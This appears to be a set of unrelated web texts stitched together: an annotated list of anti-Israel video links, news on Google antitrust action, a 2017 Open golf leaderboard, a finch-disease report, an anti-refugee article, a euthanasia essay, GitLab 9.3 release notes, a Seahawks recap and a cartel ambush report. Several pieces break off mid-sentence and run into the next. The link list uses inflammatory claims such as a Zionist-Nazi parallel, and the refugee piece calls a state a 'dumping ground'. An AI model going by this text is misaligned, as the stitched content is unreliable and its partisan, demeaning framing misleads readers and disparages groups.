http://www.youtube.com/watch?v=12cfVKQyrMw 15). The most harmful place for Jews is in Israel
Hundreds of Torah Jews demonstrate outside the Israeli Embassy in New York City denouncing the ideology and legitimacy of Israel. The group accuses officials in Israel and Jerusalem of oppressing Torah Jews by unleashing brutal attacks on the anti-Zionists living there.
http://www.youtube.com/watch?v=kh2mdPbYnZI Israeli Police Attack Synagogue
Allegedly, this is a video of Israeli police attacking Orthodox Jews during their religious services in an anti-Zionist synagogue in Jerusalem.
http://www.youtube.com/watch?v=JU92lAsw3UU 16). Rabbi Yisroel Weiss and fellow Jews are peacefully protesting against Israel and Zionism
http://www.youtube.com/watch?v=5uEK7zaMEBg 17). Jewish women protest against Israel
http://www.youtube.com/watch?v=Lwd9lIdLY-M 18). Clear proof of Israeli settlers stealing Palestinian land
http://www.youtube.com/watch?v=szp7hXBuTCw
It is very encouraging when young people courageously stand for truth and can defend their actions intelligently. 19). Zionist Crimes of Hate
http://www.youtube.com/watch?v=N-4_rtDGVm0 20). The obvious parallel between Zionists and Nazis
http://www.youtube.com/watch?v=hefIti-uFUo
(Warning: This video contains profanity) 21). Palestinians protest against stolen land and kidnappings at night
http://www.youtube.com/watch?v=-4RSWnF8MPI Hundreds of Palestinian villagers have made a short but symbolic march to the separation wall that Israel has built on their land, a non-violent protest that they regularly undertake. "The village of Bilin is literally on the frontline of Israel's confiscation of Palestinian land and the construction of its separation barrier," Jacky Rowland, Al Jazeera's correspondent reporting from the village, said. "Later today the villagers of Bilin will protest the fact that not only they, but also five neighboring villages, have lost their land which has been seized to build an Israeli settlement. "This huge settlement will result in 40,000 Jewish settlers living on occupied land here in the West Bank and as Prime Minister [Binyamin] Netanyahu is planning to give the go ahead for even more of these settlement homes to be built," she said. 22). Debating Israeli settlements - 25 Aug 09
http://www.youtube.com/watch?v=zGyZsIUON1I
Raanan Gissin is a clumsy, truth-hating propagandist. How can anyone be fooled by his ridiculous attempt at subterfuge? 23). Rachel Corrie
This is footage from Rachel Corrie's interview, conducted by Middle East Broadcasting Company on March 14th, 2003, two days before she was crushed to death in Gaza by an Israel Defense Forces (IDF) bulldozer. This young defender of Palestinian rights gave up her life by kneeling in front of a local Palestinian's home, thus acting as a human shield, attempting to prevent IDF forces from demolishing the home.
http://www.youtube.com/watch?v=O3JI-axaRF4 I am deeply saddened by this heart-wrenching 3-part playlist on the Rachel Corrie story:
http://www.youtube.com/watch?v=C4NJ5HQj1rQ&playnext=1&list=PLE4DD2F968BD8E17C Here are more details about Rachel Corrie:
http://www.youtube.com/watch?v=rtCJtbSMiDw 24). IDF soldiers know what they are doing is wrong
http://www.youtube.com/watch?v=-QNQo4Wr37k 25). Yonatan Schapira Speaks on BBC
http://www.youtube.com/watch?v=wldvJYuFmKw
This Israeli soldier affirms that Palestinians have been trapped in an open-air prison for decades. 26). CBC News reported on an Israeli army’s assault on a Palestinian home
http://www.youtube.com/watch?v=tW1-_JmXQt0
CBC News is a Canadian Broadcast Company. 27). CBS 60 Minutes Exposed Israeli Apartheid (part 1 and 2)
On Sunday January 25, 2009, CBS 60 Minutes aired an amazing segment exposing Israel's apartheid against Palestinians. The piece is by Senior CBS Foreign Correspondent Bob Simon, who is Jewish living outside Tel-Aviv, and is produced by Robert G. Anderson.
http://www.youtube.com/watch?v=e5dum_scBmI
http://www.youtube.com/watch?v=-6r2eRvAbJM 28). Burning Conscience: Israeli Soldiers Speak Out
A searing interview with Avichai Sharon and Noam Chayut, both veterans of the Israeli Defense Forces and members of Breaking the Silence. Sharon and Chayut served during the second intifada, an on-going bloodbath that has claimed the lives of over three thousand Palestinians and nine-hundred-fifty Israelis. After thorough introspection, these young men have chosen to speak out about their experiences as self-described "brutal occupiers of a disputed land." Producer: Sat Gwin.
http://www.youtube.com/watch?v=37MFa7ZKQWo 29). Israeli Soldiers Refused To Serve In Palestine (part 1 and 2)
http://www.youtube.com/watch?v=WgG3Ndt-vmM
http://www.youtube.com/watch?v=T2w1RNXgQW0 30). Israel cracks down on dissent
The Israeli parliament is considering several new laws that would severely punish Israeli political activists for criticizing Israel's treatment of Palestinians and for disclosing evidence of Israel's war crimes.
http://www.youtube.com/watch?v=3D1v-9IJsLs 31). The testimony of former US president Jimmy Carter
http://www.youtube.com/watch?v=uvtC_qzHVM4 32 ). The tactics of shameless detractors
On Shalom TV, Zionist, author and Harvard Law Professor Alan Dershowitz describes President Jimmy Carter as an "anti-Israel bigot," saying that he has no sympathy for the Jewish people.
http://www.youtube.com/watch?v=-FscSs-_IL0 Who should listen to Alan Dershowitz? He is a proven unabashed liar that shamelessly perpetuates baseless accusations and invalid arguments. He was also one of the defense attorneys for the infamous murderer O.J. Simpson.
http://www.law.umkc.edu/faculty/projects/ftrials/simpson/dershowitz.htm
http://www.normanfinkelstein.com/in-praise-of-smoking-guns-the-dershowitz-file/
http://www.thecrimson.com/article/2003/10/3/finkelstein-proclaims-the-glove-does-fit/ 33). Chomsky on Dershowitz' jihad against Finkelstein (Part 1 & 2)
http://www.youtube.com/watch?v=P8ENawcSliA
http://www.youtube.com/watch?v=eBclWDYuoxI 34). The censoring of Noam Chomsky
http://www.youtube.com/watch?v=-7ececQ3k_A 35 ). Why is the very soft-spoken Noam Chomsky being attacked?
a). He has identified the real issues in the Israel-Palestine conflict:
http://www.youtube.com/watch?v=x0kgG1_6Qn0
http://www.youtube.com/watch?v=E7SVaJLuNSo
http://www.youtube.com/watch?v=VVeeanP5Jto
http://www.youtube.com/watch?v=9CKpCGjD8wg
http://www.youtube.com/watch?v=oB1q2tdb-Gw
http://www.youtube.com/watch?v=30X2tYUGK_8
b). He has the courage to defend Norman Finkelstein.
http://www.americanradicalthefilm.com/ 36). Why is Professor Norman Finkelstein hated so severely?
http://www.youtube.com/watch?v=J6l7ANfTpUU
http://www.youtube.com/watch?v=Fn14HD5Sz3w
http://www.youtube.com/watch?v=i6rAQ4nnRko
http://www.youtube.com/watch?v=rJkdzlrzWZQ
http://www.youtube.com/watch?v=r0HmZ8SA8ws
http://www.youtube.com/watch?v=HxMkavCbums
http://www.youtube.com/watch?v=FIr4lEIqTkM 37). The Israel Lobby
For many years now the American foreign policy has been characterized by the strong tie between the United States and Israel. Does the United States in fact keep Israel on its feet? And how long will it continue to do so? In March 2006 the American political scientists John Mearsheimer (University of Chicago) and Steve Walt (Harvard) published the controversial article 'The Israel Lobby and US foreign policy'. In it they state that it is not, or no longer, expedient for the US to support and protect present-day Israel. The documentary sheds light on both parties involved in the discussion: those who wish to maintain the strong tie between the US and Israel, and those who were critical of it and not infrequently became 'victims' of the lobby. The question arises to what extend the pro-Israel lobby ultimately determines the military and political importance of Israel itself. Colonel Lawrence Wilkerson (Colin Powell's former chief-of-staff) explains how the lobby's influence affects the decision-making structure in the White House. With political scientist John Mearsheimer, neocon Richard Perle, lobby organization AIPAC, televangelist John Hagee, historian Tony Judt, Human Rights Watch director Kenneth Roth, colonel Lawrence Wilkerson, Democrat Earl Hilliard, Israeli peace negotiator Daniel Levy and investigative journalist Michael Massing.
http://www.youtube.com/watch?v=N294FMDok98
http://www.youtube.com/watch?v=VYTvDNg4iic modified July 5, 2015 Are Jewish leaders oppressing and propagandizing today?Photo
An outspoken European critic of Google said Friday that European Union antitrust regulators should bring formal charges against Google, after new documents showed that a report had recommended an American agency take a similar step three years ago.
“This new element and evidence is crucial and could not come at better time,” the lawmaker, Ramon Tremosa i Balcells, said in a statement.
Many of the same issues concerning Google now under investigation in Europe were also part of the earlier investigation led by the Federal Trade Commission. The American agency is facing a flurry of awkward questions about its handling of that investigation after documents revealed that at least one internal report had recommended stronger action. The documents were first reported on Thursday by The Wall Street Journal.
The F.T.C.’s decision to decline to take a tougher stance showed that Europe’s scrutiny of Google was not a “protectionist E.U. war against a U.S. company,” said Mr. Tremosa, a lawmaker from Catalonia in the European Parliament.
The antitrust case against Google in Europe has already gained more traction than in the United States. But like their American counterparts, competition officials at the European Commission in Brussels have been loath to bring formal charges against such a successful and powerful company.
Instead, the Commission has spent much of the past five years trying to reach a settlement with Google that would end the case — focused on its search and advertising businesses, and on whether it stacks its search results to favor its own products — without a fine or a formal finding of wrongdoing.
But those efforts to reach a settlement with Google have repeatedly run into a brick wall.
Google’s rivals and powerful groups like publishing companies in France and Germany have successfully complained that most of the changes proposed by Google have been insufficient to solve the antitrust concerns identified by regulators.
European Union officials said on Friday that Margrethe Vestager, the competition commissioner who took over the job from Joaquín Almunia of Spain late last year, was continuing to assess complaints against the company.
“As Commissioner Vestager has said a number of times, to take the Google investigation forward and get it right, she is taking the necessary time to update information in the files and form her own view, before deciding on next steps,” Ricardo Cardoso, a spokesman for the Commission, said in a statement in response to reports about the F.T.C.’s investigation.
“It is very important that the application of competition law in individual cases remains independent from politics and that antitrust procedures are not put into question,” said Mr. Cardoso. “It is the Commission’s obligation to respect the rights of all the parties involved and to remain neutral and fair; these are crucial values for competition law enforcement,” he said.Saturday's record scoring showed the potential to go low at Royal Birkdale when there's little wind help defend the course, but barring something truly extraordinary, the 146th Open Championships has become a two-man race.
Brendan Grace would need to follow up his record-breaking 62 with another score in the mid-60s, or maybe it could be Dustin Johnson matching his Saturday score of 64, but even in those cases it will take a series of errors from the final group for the Claret Jug to be awarded to anyone other than Jordan Spieth or Matt Kuchar.
Both players tied for the lowest score of the day on Thursday with a 65 and enter the final round of play three strokes clear of the rest of the field. They had their hiccups on Friday, but with calmer conditions favoring low scores, there was a steady approach by both golfers. They attacked when birdie chances presented themselves but were more than happy to walk away from the green after par putts.
Two players, one 23 years old and the other 39 years young, remained steady while other title contenders faded from the picture on Saturday afternoon and will go shot-for-shot and hole-for-hole tomorrow to decide the Open Championship.
Here's how the leaderboard looks after 54 holes:
1. Jordan Spieth (-11): History will be on the line Sunday as Spieth looks to win the third leg of the career Grand Slam before his 24th birthday and wrap up as impressive a wire-to-wire victory as we've seen in a major in recent years. This was his second bogey-free 65 of the week at Royal Birkdale, and it makes sense that the best ball-striker in the game is in position to get the win at a ball-strikers course in Southport, England.
2. Matt Kuchar (-8): It was another day of grinding for Kuchar with birdie runs interrupted by missteps on both nines. No one in the field has carded more birdies this week than Kuchar, who had seven Saturday and will need another handful of them to push and potentially knock off Spieth on Sunday.
T3. Brooks Koepka (-5): The U.S. Open champion got on a heater early and matched his best nine-hole score of the championship going out in 32 despite two bogeys. Though things looked shaky for both Koepka and Ian Poulter (his Saturday playing partner), the former was able to pick up strokes on the leaders with birdies on both of the par-5s on the second nine. It'll probably take a 65 on Sunday to win, but he has been strong enough around the greens to think it's possible.
T3. Austin Connelly (-5): Branden Grace had the round of the day, but Connelly had the undisputed shot of the day with this dunk for an eagle at No. 2. The 20-year-old has been throwing birdie after birdie on the card here at his first major championship appearance and seems poised to be a player we'll see more and more on the world stage moving forward.
What a way to move two off the top! 👌 pic.twitter.com/1UtBUvpPh1 — The European Tour (@EuropeanTour) July 22, 2017
T5. Branden Grace (-4): There will be no shortage of takes for Grace's 62, but that's expected when history is made in a sport that sees changes in venue every week and conditions by the hour. But the fact remains: Major championship golf has been played since 1860 and in that time no one has completed a round in less than 63 strokes before Saturday, and it was fun as hell to watch it unfold. The fact that Grace didn't even know about the record makes it even more fun. He didn't know he was making history; he just wanted to finish the round bogey-free.
T5. Hideki Matsuyama (-4): The list of players to take seriously as a threat to Spieth or Kuchar is short, but Matusyama is absolutely on that list. He's one of the top talents in the world and capable of firing another round in the mid-60s. After four bogeys and a double-bogey on Friday, Matsuyama locked in and looked sharp during his final 14 holes on Saturday. I think he can get to 8 under by the end of the championship, but he'll need some help for that score to be good enough to win.
T7. Dustin Johnson (-3): You have to put D.J. on that list of long shots, but he'll need another 64 or a 63 to get up into a championship-winning score (he started 71-72). There is plenty of confidence D.J. can go low, but much less confidence that the leaders will fall back enough to bring him into the mix.
T7. Henrik Stenson (-3): Only Grace and D.J. had better rounds than Stenson on Saturday. The defending champ has been one of the best in the field this week hitting greens in regulation and his climb up the leaderboard ensures that the story of his 2017 Open will be more than his house get burglarized. Probably too far back to win it, but certainly a player you can bet on to finish in the top 10 by the end of the day on Sunday.
T7. Chan Kim (-3): The Arizona State product hasn't been active on the PGA Tour but earned a spot in the Open Championship during a scorching run of golf in Japan that saw him shoot 69-68 at the Ono Golf Club in a U.S. Open qualifier then win the Mizuno Open in Okayama later the week to earn a spot in the field at Royal Birkdale. He has been driving the ball well and playing great coming in, carding nine of his 12 birdies on the second nine. A third consecutive round in the 60s will ensure qualifying next year won't be as difficult.
T7. Rafael Cabrera-Bello (-3): The same quality golf that Cabrera-Bello showed in his Scottish Open victory last week has continued and now he's in contention to record not only his best finish at The Open (T21 in 2013) but best major finish of his career (T17 at the Masters in 2016).
Catch up on the highlights from Round 3 below with a recap of our live blog. If you are unable to view the updates in the live application below, please click here.
Thanks for stopping by.Image caption Greenfinch populations have been badly hit by this new disease
A disease that is killing greenfinches and chaffinches in the UK has now spread to Europe, scientists report.
A paper in the journal Ecohealth confirms that the disease has been found in Finland, Norway and Sweden and is at risk of moving further afield.
The disease, called trichomonosis, is caused by a parasite and was first seen in finches in the UK in 2005.
Since then, the country's greenfinches have declined by 35% and chaffinch populations have fallen by 7%.
Becki Lawson, a wildlife veterinarian at the Zoological Society for London (ZSL) and lead author of the paper, said: "Trichomonosis has emerged as a very serious threat to these birds, so it is very important that vets and ornithologists collaborate to determine whether we might see further spread and to monitor the impact of the parasite on wild bird populations across Europe."
Media playback is unsupported on your device Media caption Bird autopsy: Becki Lawson performs a post mortem on a greenfinch and reveals the external and internal signs of the deadly disease
The parasite that causes the disease, Trichomonas gallinae, has long been known in pigeons and doves, and scientists believe it somehow spread from these birds into finch populations.
The study charts how the disease then moved from central and western counties in England and Wales towards eastern England in 2007, and then into Finland, Norway and Sweden (Fennoscandia) in 2008, as well as spreading further around the UK.
Image caption Researchers believe chaffinches may have spread the disease from Britain to Europe
Molecular analysis has revealed that the same strain of the parasite was present in UK and European finches, and researchers now believe that migrating chaffinches were responsible for the spread.
Dr Lawson explained: "It looks like chaffinches left the east of England in 2008, and that spring they went to the breeding ground in Fennoscandia and took the parasite with them, which is where the outbreak occurred."
While greenfinches and chaffinches have been most badly hit, the disease has also been diagnosed in a number of other bird species, including the house sparrow and yellowhammer, both of which are already endangered.
Taking action
The research team says it is now key to try to understand trichomonosis and to monitor its spread.
Mike Toms, head of garden ecology from the British Trust for Ornithology and an author of the paper, explains: "We are concerned whenever you see something like this: a sudden drop in a population.
Image caption Scientists are trying to work out how the parasite has moved into finch populations
"But the fact we have been able to pick this one up and understand why it has happened is a positive thing."
They are asking for sightings of any birds displaying symptoms of the disease to be reported to the RSPB online or to the British Trust for Ornithology's online survey.
Mr Toms said: "We are looking out for birds that are fluffed up, lethargic and sitting around the bird feeders and not really going anywhere, and maybe looking a bit wet around the bill.
"Those are the typical signs of disease and if birds are coming into people's gardens, and people are seeing a number of birds with those symptoms, you should report them."
Outbreaks tend to be most severe and most frequent from August to October, he added.
While it is difficult to treat wild birds suffering from the disease, researchers say there are things that people can do to help limit the spread such as regularly cleaning all feeders, bird baths and feeding surfaces.Louisiana, along with 37 other states, has already become a Syrian Muslim refugee dumping ground in Fiscal Year 2016 under the watch of Gov. John Bel Edwards (D).
Of the 6,227 Syrian refugees flooding into the country so far, only 23 are Christian, 10 Yazidi and the remaining 6,194, or 98 percent, are Sunni Muslim, according to a WND Exclusive report.
Within that 6,227 refugees, a total of 39 Syrians have already been relocated to Louisiana, with New Orleans and Baton Rouge taking all of them.
Though labeled as “Syrians,” the refugees are also arriving into the country from Somalia, Afghanistan, Sudan, Iraq, Burma, Bosnia and the Congo, according to WND.
Normally, Catholic Charities receives federal grants to help relocate refugees in states, though it is unclear if they have helped resettle the refugees in the state.
What is clear, is that the federal government’s refugee resettlement program under the U.S. Department of State/Bureau of Population, Refugees and Migration, is almost entirely done in secrecy, with often times the states’ executive officials not even being aware of the matters.
Louisiana’s neighboring states like Mississippi and Alabama have taken zero refugees this Fiscal Year, along with Arkansas, among other states.A Senate inquiry into legalising voluntary euthanasia for terminally ill people has recommended a conscience vote on the proposed bill after technical matters, such as what constitutes a “terminal illness”, are clarified.
While this is an important step forward in grappling with the idea of the “right to die”, drawing a line at terminal illness for this purpose will be difficult. What’s more, restricting the right to die to people who are terminally ill is very different to what most of us think of as justifiable euthanasia.
Research shows more than 82% of Australians support voluntary euthanasia where “a hopelessly ill patient, experiencing unrelievable suffering, with absolutely no chance of recovering” asks for help to end their life. This description covers terminal illnesses as well as other incurable conditions causing great suffering in which death may not be imminent.
Refusing treatment
As the law stands, mentally competent people can reject medical treatment that will keep them alive. This is the case even when a person is not actually terminally ill. As suicide itself is not unlawful, it remains an option even when the person states their sole motivation for refusing treatment is to end their life.
Courts have confirmed that life-support machines can be turned off, feeding tubes can be removed and hunger strikes in hospital may not be forcibly interfered with by hospital staff. These cases involved people suffering extensive paralysis and chronic debilitating illnesses, all of which caused pain and suffering but were not, strictly speaking, terminal conditions.
Indeed, that was part of the problem the people in these cases faced: in their own estimation, their suffering was great but their lives might go on for a very long time. Still, while all competent patients may refuse medical treatment in order to end their lives, they may not be entitled to active euthanasia under a restricted law.
If it’s not exactly terminal illness that Australians have in mind when they think of who might legitimately seek euthanasia, and if we can tolerate and even condone the suicidal wishes of some people, it is perhaps a particular kind of suffering that we wish to restrict euthanasia to.
Perhaps we feel physical suffering is a better reason for ending one’s life than, say, suffering caused by grief, or shame, or hopelessness. Or perhaps it is the quality of “incurability” that we demand; we are more willing to accept physical illness may be beyond help, than psychiatric illness or emotional pain.
The problem is that while many of us may hold these views, they aren’t empirically true, and opinions differ.
In some jurisdictions where euthanasia is legal, it is also legal to be helped to die because of psychiatric illness when there is “unbearable emotional suffering”. While this has been controversial, groping for objective reasons why only some forms of death decision are all right is doomed to fail because the lines we draw between acceptable and unacceptable death decisions are cultural and arbitrary.
But that doesn’t make such line-drawing invalid.
The right line
To achieve defensible policy, we need to understand what’s really going on when we struggle with legalising assisted suicide. And it is simply this: the decision to die is not an ordinary choice.
Deciding to end one’s life has the quality of tragedy – and not only for people who love you, as not everyone has loved ones. Rather, all our deaths are important because, as the English poet and cleric John Donne wrote, we are all “involved in mankind”.
Death remains tragic no matter how inevitable it is or what causes it. And in a very deep place, human societies have always considered death itself to be bad, in a moral sense.
Death is punishment; in many cultures, it is what separates us from ancient gods. The inevitability of death is the ultimate source of existential suffering because all of us know we will die, as will everyone we love.
So even if we can bring ourselves to accept that a life can be so full of suffering that death is preferable, we still remain deeply anguished about it.
If society is going to be involved in death decisions by giving legal permission for doctors to bring about death, it is important to specify some conditions. But there will be few bright lines to discern between “good” and “bad” reasons for choosing death.
We do need to decide which deaths we are prepared to countenance. We may each decide quite differently. But all of us must think long and hard about where and why we draw those lines.
Editor’s note: Sascha will be on hand to answer questions at 12:30 tomorrow afternoon (November 12). Post any questions about “good” and “bad” reasons to die in the comments below.JIRA Settings Improvements CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD For JIRA users, we improved the JIRA integration settings in this release, making it easier to set up and test your connection from your GitLab project to a JIRA server instance. There is now also a separate Web URL field and a JIRA API URL. This is useful for when your JIRA instance is configured such that the JIRA REST API and the JIRA issues location do not share the same URL. Documentation
Snippet Descriptions CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD Snippets now have descriptions. This follows personal snippet comments, which were added in the previous release. Snippets are a great tool for quick and informal collaboration around code ideas. We’re now bringing the power of issues and merge request collaboration to snippets too. Documentation
Group Label Permissions CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD The Reporter, Developer, Master, and Owner roles can now create and edit group labels. Previously, only Master and Owner roles could do this. This brings parity with permissions of project labels. Documentation
Performance Improvements CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD We are continuing to make great strides improving the performance of GitLab in every release. Not only will this make individual instances of GitLab even faster, but will also greatly improve the performance of GitLab.com, an instance that has over 1 million users! In GitLab 9.3 we are continuing to make listing projects a lot faster and improving performance overall server performance by making changes to how we mirror repositories. Syntax highlighting on files will also be cached to improve overall performance and make viewing commits noticeably faster. There are numerous other performance enhancements in GitLab 9.3 that should not only make GitLab feel faster, but reduce overall impact on server infrastructure.
Edit Issue Description Inline, Without Losing Context CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD The issue description serves as the single source of truth when teams collaborate on work and ideas are rapidly flowing in the issue comment thread. With this release, you now edit the issue description by clicking Edit, as before. But you remain on the same page, instead of going to a separate web form. Just make your changes inline, and click Save changes to persist the updates without refreshing the page. While editing, you can also easily scroll down on the page to review comments and even copy GFM text and paste it back into the description. Documentation
Bulk-Editing Issues Re-Design CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD We’ve made bulk editing issues even simpler and more intuitive in this latest release. We’ve leveraged the sidebar paradigm that already pervades GitLab. So users will feel right at home using a transient sidebar when updating multiple issues at once. Documentation
Issue Board Usability Improvements CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD We recognize that teams use Issue Boards in a variety of ways. To make it usable for even more teams, we now have collapsible Backlog and Closed columns. We’ve also tweaked adding issues in a board. When you click the plus sign +` to add an issue to a list, it now appears at the top of the list automatically, which is really helpful for long lists. Webpage
Search/Filter Bar Improvements CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD We continue to make incremental improvements to the search/filter bar. You can now view user avatars. Also, by clicking on a filter, it activates the dropdown, allowing you to change filters quickly. Documentation
Internationalization of Project Home & Repository Files Pages CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD In GitLab 9.2 we started the process of internationalization with the Cycle Analytics page in German and Spanish. In GitLab 9.3 we are extending this to more frequently used pages such as the Project Home and Repository Files pages. The GitLab community are already starting to add more languages such as Chinese, Bulgarian, and Brazilian Portuguese. You can follow the progress and take a look at the contributing guidelines to get involved. Documentation
Improvements to GitLab Subgroups CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD In GitLab 9.0 we introduced Subgroups, allowing for more flexibility and management of groups and projects. We are continuing to improve this functionality in every release and in GitLab 9.3 we are making the discoverability and navigation of Subgroups a lot better. On the Groups page you can now see an expandable tree view of all subgroups and projects rather than having to navigate and explore them one page load at a time. Documentation
Access private Container Registry images CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD When you deploy your docker-based project, you need to pull your image every time the deployment environment needs to start them. Since the integrated GitLab Container Registry is the natural choice to store your containers, in GitLab 9.3 you can use it to distribute them too! By creating a personal access token with the brand new read_registry scope, you have a persistent deploy token that could be used by external services, like Kubernetes, to access your images every time it’s needed, without giving your full credentials or using a dummy user for this task. Documentation
Enhanced View for Repository Files CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD When viewing files in your repository, some extra information is now automatically extracted and reported in the same page. Starting with GitLab 9.3, you can see if your.gitlab-ci.yml or.gitlab/route-map.yml are valid or not, and which are the parsing errors. LICENSE files are also analyzed, and the information about the specific license is easily accessible with a link for further details about it. Dependency management systems are also exposed to make it clear what the projects rely on.
CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD During merge request code review, we are constantly making code changes and commenting on those changes. It is often difficult to keep track. In particular, suppose we start commenting on a particular code line, and there are subsequent changes to that line. You may end up discussing something that has already changed. With this release, we added a system note to indicate that a line has already changed, so that when you are participating in comments with respect to a particular line, you know that it’s already been changed, and can even see the change by clicking through.
Autolinking Package Names CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD Ah, packages, those little gems (hah!) of wisdom wrapped up and ready for re-use. GitLab will now automatically detect and link packages in the file view, saving you valuable clicks every day. Neat, huh? This functionality will work for the following packages and languages: *.gemspec (Ruby)
(Ruby) package.json (Node.js)
(Node.js) composer.json (PHP)
(PHP) Podfile (Objective-C)
(Objective-C) *.podspec (Objective-C)
(Objective-C) *.podspec.json (Objective-C)
(Objective-C) Cartfile (Objective-C)
(Objective-C) Godeps.json (Go)
(Go) requirements.txt (Python)
API Support for Pipeline Schedules CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD In GitLab 9.2 we released Pipeline Schedules that can be configured and managed using the UI. Today with GitLab 9.3 we’re also releasing calls to create and manage Pipeline Schedules through a set of APIs, in order to allow integration with other tools simple and effective. Documentation
Upcoming Nginx Upgrade CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD As part of the upcoming GitLab 9.4 release, we will be upgrading the version of nginx included in our Omnibus packages to the new stable release, 1.12. Version 1.12 includes a number of improvements over the previous stable release, including the ability to filter the log output. This will be a transparent upgrade for users, however if you have added your own customizations to the nginx configuration, please ensure they continue to work with version 1.12.
Performance Impact of Merge Requests now Quantified CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD With GitLab 9.2 we added the ability to see the memory impact of a merge, by adding a sparkline to the Merge Request page. As part of GitLab 9.3 we are taking this further and now quantify the change in average memory usage for the 30 minutes before and after the merge. It is now easier than ever for developers to be cognizant of the impact they are having on service performance, by getting direct feedback within the tool they already use every day. Documentation
Additional GitLab Service Metrics CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD GitLab 9.0 introduced Prometheus monitoring of the GitLab service, providing insight into Redis, PostgreSQL, and system performance. As part of GitLab 9.3 we have added experimental monitoring of our ruby code base, starting with a handful of metrics like pipeline status and user sign ins. We will continue to instrument additional areas of GitLab in subsequent releases. DocumentationKanye West has had a change of heart about Donald Trump, if his handling of his Twitter account is any indication.
West apparently deleted all of his tweets in support of the president late Sunday night or early Monday morning.
In December, the “Life of Pablo” rapper had visited Trump tower to meet with the then-president |
higher than all QBs throwing at Sherman for the past month. I only saw him targeted twice this afternoon with the results being a near-interception and a deleted deep route. Richard Sherman essentially forces opposing offenses to beat the other 91% of the Seahawks defense with only 67% of the field. Good luck with that down the stretch fellas*.
*Looks at Colin Kaepernick, Drew Stanton, and Shaun Hill. Maintains eye contact. Stanton pretends to tie his shoe. Hill coughs. Kaepernick shudders and adjusts his snapback.
-Byron Maxwell, for his part, had only allowed a 45.8 rating in November and stuck to the guys he was covering today like spiderwebs to your hair when you go looking for something in the attic. He gave up a couple of catches but they were inconsequential to the outcome and he broke up two passes while he was at it.
-Kam Chancellor, who looks like some type of super soldier you unlock in Halo, continued to provide the Legion's boom with a couple of monster hits and who knows how many routes adjusted. Running routes against the Seahawks secondary is like playing in traffic on the highway; you probably won't die. Probably.
-Wilson hit 10 different receivers in this game. Ten. The Seahawks had as many receivers with a catch as the Eagles had catches. Wilson got some big plays from his wide receivers today, especially on third downs (7/16), and threw the ball with supreme conviction as a result. It was the most I've seen Wilson trust his receivers all season.
-Lynch finished with 113 yards on 28 touches, a fumble, and a touchdown. Despite all expectations and a concerted effort to get Robert Turbin and Christine Michael more involved of late, Lynch continues to see an enormous workload. He's showing no signs of slowing, but with a potential seven games left on the schedule, there better be a lot more mileage left in him.
-Turbin and Michael continued to be somewhere between very good and not terrible, which is all i ask of them. Turbin was bottled up on the ground (four carries, seven yards) but added a 14-yard reception for a 4.2 yards per touch. Michael got six carries and registered 32 yards for a 5.3 YPT. On the season,
Turbin: 359 yards on 63 touches (5.7 yards per)
Michael: 156 yards on 25 touches (6.3 yards per)
Compare those numbers to Lynch's 5.1 yards per touch (albeit in an obviously heavier workload) and you can't help but begin to feel better about the Seahawks' running back depth.
-Doug Baldwin had his best game of the season, turning his seven targets into a 5/97/1 line and personally converted three first downs. He may never put up WR1 fantasy numbers but if he plays like this, he won't need to. He has Wilson's trust when it matters most and that's comforting.
-The penalty disparity regressed to the mean a bit for Seattle in this one. After garnering an obscene percentage of the calls and penalty yardage over the last month, they were flagged for "only" two-thirds of the fouls and about half of the yards.
-The 'Hawks dominated on third down, going 7/16 (43.8%) while holding the Eagles to 2/11 (18.2%). Great to see.
-The Seahawks also continued their season-long ownership of the rushing game, out-gaining Philly on the ground by a 188-57 margin. Their advantage in rushing yards (+131) was almost more than Philadelphia's total yardage (139).
You've heard me say it the last couple of weeks but it's ever the more true today: a Seahawks team that plays like this can beat anybody. Since falling to 3-3, Seattle has gone 6-1 (tied for best in the NFL) and have outscored their opponents 163-94. They've allowed the fewest yards in the league, the second-fewest points, and have the fourth-best turnover margin. They are executing their offense with care and efficiency. They are winning on third downs and ball control. I'd say they're peaking at the right time but I'm not sure they've peaked yet. They turned Chip Kelly's revolutionary offense inside out like a their favorite t-shirt on laundry day and nothing about the offenses they face the rest of the reason give me any reason to doubt their dominance will fade.
There are still things that can be improved on this team -- there always will be -- but the entire cohesive defensive unit is playing as well as they did at any point last year. They've outscored their opponents by 10 per game since the start of November and have already rushed for over 2,200 yards at a 5.2 per-carry rate, both league-leading numbers. This team is poised for greatness. onward and upward.
Jacson on Twitter /// Cigar Thoughts hubREYNOSA, Tamaulipas — Cartel gunmen riding in armored SUVs ambushed a state police convoy killing one of the officers and sparking a series of chases and gun battles over a period of hours.
The ambush against the state police officers comes after citizen journalists in the border region known as the Ribereña or riverine have reported on gun battles involving large convoys of gunmen. According to residents, the gun battles among cartel factions started early morning in the area immediately south of Roma, Texas and quickly spread to other rural communities. The Ribereña is immediately south of Starr County, Texas and is considered a major drug trafficking route due to the lack of border security in the area.
Law enforcement sources consulted by Breitbart Texas revealed that the ambush took place about four hours after the initial gun battles in the Rancherias rural community near the city of Camargo, which is immediately south of Rio Grande City, Texas. A convoy of armored cartel trucks attacked police forces, setting off a fierce gun battle where one of the officers died. At the end of the clash, two cartel vehicles were left behind. One of the vehicles was a standard SUV, while the other truck was armored. Both vehicles had extensive damage from collisions and gunshots.
A second clash took place shortly after as Mexican military personnel rushed to assist the state police officers. Along the way, the soldiers fought with some cartel gunmen; resulting in another skirmish. Authorities have not disclosed the number of attackers that were injured or killed during the fighting.
